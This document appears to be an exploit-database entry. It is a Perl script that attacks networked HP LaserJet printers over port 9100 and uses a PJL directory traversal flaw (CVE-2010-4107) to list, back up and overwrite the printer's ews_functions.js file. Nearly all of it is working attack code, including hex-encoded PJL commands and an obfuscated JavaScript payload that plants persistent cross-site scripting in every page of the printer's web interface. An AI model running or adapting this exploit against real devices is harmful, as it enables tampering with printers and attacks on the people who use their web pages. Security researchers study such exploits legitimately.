1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 |
#!/usr/bin/perl use strict; use warnings; use IO::Socket::INET; my $host = $ARGV[0]; # Exploit Title: HP Laser Jet Persistent Javascript Cross Site Scripting via PJL # Google Dork: n/a # Date: 4/22/14 # Exploit Author: @0x00string # Vendor Homepage: http://www.hp.com/products1/laserjetprinters/ # Software Link: n/a # Version: HP LaserJet P/M xxxx (LaserJets with network conectivity, PJL and onboard storage) # Tested on: P4015n, P2035n, P4014, M3035 MFP, CP 3525, etc. # CVE : CVE-2010-4107, # This script will infect all pages on HP laserjets which include ews_functions.js by appending javascript to the ews_functions.js file by leveraging the PJL Directory Traversal print "\t _________ _______________________________________ __________ \t|_|||_|||_||_|| || ||_ || | ||| || | \t| | | || || | | || | | ||_____||_ _|| | ||| | | |_| ||___| \t| | | || || | | || | | || |_____ | || |_||_ | | | || | __ \t| |_| | | | | |_| || |_| ||_____|| ||__|| | |_|| ||| \t| || _ || || | _____| || || || || | | | | || |_| | \t|_______||__| |__||_______||_______||_______||___||___||_||___| |_||__||_______| \t HP Laser Jet persistent Javascript XSS \t via PJL Dir Trav\n\n"; $| = 1; infect($host); sub infect { my $co = 0; my (@returned, $temp, @files, @sizes, $size, $data); my $socket = new IO::Socket::INET ( PeerHost => $host, PeerPort => '9100', Proto => 'tcp', ) or die $!; if ($socket) { $data = "\x1b\x25\x2d\x31\x32". "\x33\x34\x35\x58\x40". "\x50\x4a\x4c\x20\x46". "\x53\x44\x49\x52\x4c". "\x49\x53\x54\x20\x4e". "\x41\x4d\x45\x20\x3d". "\x20\x22\x30\x3a\x5c". "\x5c\x77\x65\x62\x53". "\x65\x72\x76\x65\x72". "\x5c\x5c\x68\x6f\x6d". "\x65\x5c\x5c\x6a\x73". "\x66\x69\x6c\x65\x73". "\x5c\x5c\x22\x20\x45". "\x4e\x54\x52\x59\x3d". "\x31\x20\x43\x4f\x55". "\x4e\x54\x3d\x39\x39". "\x39\x0a\x0d\x1b\x25". "\x2d\x31\x32\x33\x34\x35\x58"; #print "\n$data\n"; $socket = tx($socket, $data); ($socket, $temp) = rx($socket); #print "\n$temp\n"; @returned = split('\n', $temp); foreach(@returned) { if ($_ =~ /(.*?)\ TYPE\=FILE\ SIZE\=(\d{1,99})/) { push(@files, $1); push(@sizes, $2); } } } my $two = 0; foreach(@files) { if ($_ =~ /RestrictColor\.js/ || $_ =~ /ews_functions\.js/) { $two++; } } if ($two > 1) { if ($socket) { while ($co < scalar(@files)) { if ($files[$co] =~ /ews/) { $size = $sizes[$co]; $data = "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58". "\x40\x50\x4a\x4c\x20\x46\x53\x55\x50". "\x4c\x4f\x41\x44\x20\x4e\x41\x4d\x45". "\x20\x3d\x20\x22\x30\x3a\x5c\x5c\x77". "\x65\x62\x53\x65\x72\x76\x65\x72\x5c". "\x5c\x68\x6f\x6d\x65\x5c\x5c\x6a\x73". "\x66\x69\x6c\x65\x73\x5c\x5c\x65\x77". "\x73\x5f\x66\x75\x6e\x63\x74\x69\x6f". "\x6e\x73\x2e\x6a\x73\x22\x20\x4f\x46". "\x46\x53\x45\x54\x3d\x30\x20\x53\x49". "\x5a\x45\x20\x3d\x20" . $size. "\x0d\x0a"; } $co++; } $temp = undef; #print "\n$data\n"; $socket = tx($socket, $data); $data = undef; if ($socket) { ($socket, $temp) = rx($socket, $size); #print "\n$temp\n"; my @original = split('\n', $temp); $temp = ""; shift(@original); foreach(@original) { $temp = $temp .$_ . "\n"; } #print $temp; } } } $data = "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58". "\x40\x50\x4a\x4c\x20\x46\x53\x41\x50". "\x50\x45\x4e\x44\x20\x46\x4f\x52\x4d". "\x41\x54\x3a\x42\x49\x4e\x41\x52\x59". "\x20\x4e\x41\x4d\x45". "\x20\x3d\x20\x22\x30\x3a\x5c\x5c\x77". "\x65\x62\x53\x65\x72\x76\x65\x72\x5c". "\x5c\x68\x6f\x6d\x65\x5c\x5c\x6a\x73". "\x66\x69\x6c\x65\x73\x5c\x5c\x65\x77". "\x73\x5f\x66\x75\x6e\x63\x74\x69\x6f". "\x6e\x73\x2e\x42\x41\x4b". "\x22\x20\x53\x49\x5a\x45\x20\x3d\x20". length($temp) . "\x0d\x0a". $temp. "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58"; #print $data; if ($socket) { #print "\n$data\n"; $socket = tx($socket, $data); ($socket, $temp) = rx($socket); #print "\n$temp\n"; } if ($socket) { $data = "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58". "\x40\x50\x4a\x4c\x20\x46\x53\x51\x55". "\x45\x52\x59\x20\x4e\x41\x4d\x45\x20". "\x3d\x20\x22\x30\x3a\x5c\x5c\x77\x65". "\x62\x53\x65\x72\x76\x65\x72\x5c\x5c". "\x68\x6f\x6d\x65\x5c\x5c\x6a\x73\x66". "\x69\x6c\x65\x73\x5c\x5c\x65\x77\x73". "\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e". "\x73\x2e\x42\x41\x4b\x22\x0d\x0a"; #print "\n$data\n"; $socket = tx($socket, $data); ($socket, $temp) = rx($socket); #print "\n$temp\n"; exit(0) unless ($temp =~ /ews\_functions\.BAK/); } if ($socket) { my $payload = "\x76\x61\x72\x20\x65\x78\x70\x6c\x6f". "\x69\x74\x20\x3d\x20\x64\x6f\x63\x75". "\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61". "\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74". "\x28\x22\x64\x69\x76\x22\x29\x3b\x20". "\x65\x78\x70\x6c\x6f\x69\x74\x2e\x69". "\x6e\x6e\x65\x72\x48\x54\x4d\x4c\x20". "\x3d\x20\x27\x3c\x64\x69\x76\x3e\x3c". "\x66\x6f\x6e\x74\x20\x73\x69\x7a\x65". "\x3d\x35\x30\x3e". "\x41\x41\x41\x41" . "\x3c". # <--- this is being added to the page as an element. put whatever you'd like here, but check your lengths! "\x2f\x66\x6f\x6e\x74\x3e\x3c\x2f\x64". "\x69\x76\x3e\x27\x3b\x20\x64\x6f\x63". "\x75\x6d\x65\x6e\x74\x2e\x67\x65\x74". "\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42". "\x79\x54\x61\x67\x4e\x61\x6d\x65\x28". "\x27\x62\x6f\x64\x79\x27\x29\x5b\x30". "\x5d\x2e\x61\x70\x70\x65\x6e\x64\x43". "\x68\x69\x6c\x64\x28\x65\x78\x70\x6c". "\x6f\x69\x74\x29\x3b"; $data = "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58". "\x40\x50\x4a\x4c\x20\x46\x53\x41\x50". "\x50\x45\x4e\x44\x20\x46\x4f\x52\x4d". "\x41\x54\x3a\x42\x49\x4e\x41\x52\x59". "\x20\x4e\x41\x4d\x45\x20\x3d\x22\x30". "\x3a\x5c\x5c\x77\x65\x62\x53\x65\x72". "\x76\x65\x72\x5c\x5c\x68\x6f\x6d\x65". "\x5c\x5c\x6a\x73\x66\x69\x6c\x65\x73". "\x5c\x5c\x65\x77\x73\x5f\x66\x75\x6e". "\x63\x74\x69\x6f\x6e\x73\x2e\x6a\x73". "\x22\x20\x53\x49\x5a\x45\x20\x3d\x20". length($payload) . "\x0d\x0a". $payload. "\x1b\x25\x2d\x31\x32\x33\x34\x35\x58"; $socket = tx($socket, $data); exit(0); } } sub tx { my $socket = shift; my $data = shift; $socket->send($data) or die $!; return $socket; } sub rx { my $socket = shift; my $second_size = shift; unless ($second_size) { $second_size = 2048; } my $data = undef; eval { local $SIG{ALRM} = sub { die 'Timed Out'; }; alarm 10; $socket->recv($data, 2048); if ($data) { while (length($data) < (length($data) + $second_size)) { my $moar; $socket->recv($moar, length($second_size + 1)); $data = $data . $moar; } alarm 0; return ($socket, $data); } }; alarm 0; return($socket, $data); } |